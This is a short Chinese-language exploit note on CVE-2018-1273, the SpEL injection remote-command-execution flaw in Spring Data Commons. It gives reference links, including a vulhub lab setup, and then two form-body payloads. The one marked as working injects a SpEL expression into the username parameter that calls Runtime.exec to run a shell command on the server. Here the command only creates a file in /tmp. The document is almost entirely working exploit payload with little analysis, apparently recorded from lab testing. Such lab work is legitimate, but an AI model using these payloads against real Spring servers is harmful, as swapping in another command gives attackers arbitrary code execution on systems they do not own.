【漏洞分析】【spring】【CVE-2018-1273】【远程命令执行】spel注入漏洞

https://xz.aliyun.com/t/2269
http://xxlegend.com/2018/04/12/CVE-2018-1273-%20RCE%20with%20Spring%20Data%20Commons%20%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A/
https://github.com/vulhub/vulhub/tree/master/spring/CVE-2018-1273

ok

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/gaogaouuu")]=passsword&password=dd&repeatedPassword=dd

not ok

username[T(java.lang.Runtime).getRuntime().exec("touch /tmp/gaogao2")/xxlegend]=passsword&password=dd&repeatedPassword=dd